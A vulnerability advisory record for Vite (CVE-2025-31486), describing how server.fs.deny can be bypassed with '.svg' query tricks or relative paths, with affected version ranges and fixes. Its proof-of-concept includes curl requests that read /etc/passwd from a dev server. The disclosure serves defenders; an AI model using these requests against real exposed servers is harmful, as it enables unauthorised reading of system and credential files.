ghsa-xcj6-pq6g-qj4x
Vulnerability from github
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
PoC
bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
bash
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
bash
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
{ "affected": [ { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "6.2.0" }, { "fixed": "6.2.5" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "6.1.0" }, { "fixed": "6.1.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "6.0.0" }, { "fixed": "6.0.14" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "5.0.0" }, { "fixed": "5.4.17" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.5.12" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-31486" ], "database_specific": { "cwe_ids": [ "CWE-200", "CWE-284" ], "github_reviewed": true, "github_reviewed_at": "2025-04-04T14:20:05Z", "nvd_published_at": "2025-04-03T19:15:39Z", "severity": "MODERATE" }, "details": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl \u0027http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init\u0027\n```\n\n```bash\ncurl \u0027http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import\u0026?raw\u0027\n```", "id": "GHSA-xcj6-pq6g-qj4x", "modified": "2025-04-30T17:26:53Z", "published": "2025-04-04T14:20:05Z", "references": [ { "type": "WEB", "url": "https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31486" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647" }, { "type": "PACKAGE", "url": "https://github.com/vitejs/vite" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "type": "CVSS_V3" } ], "summary": "Vite allows server.fs.deny to be bypassed with .svg or relative paths" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.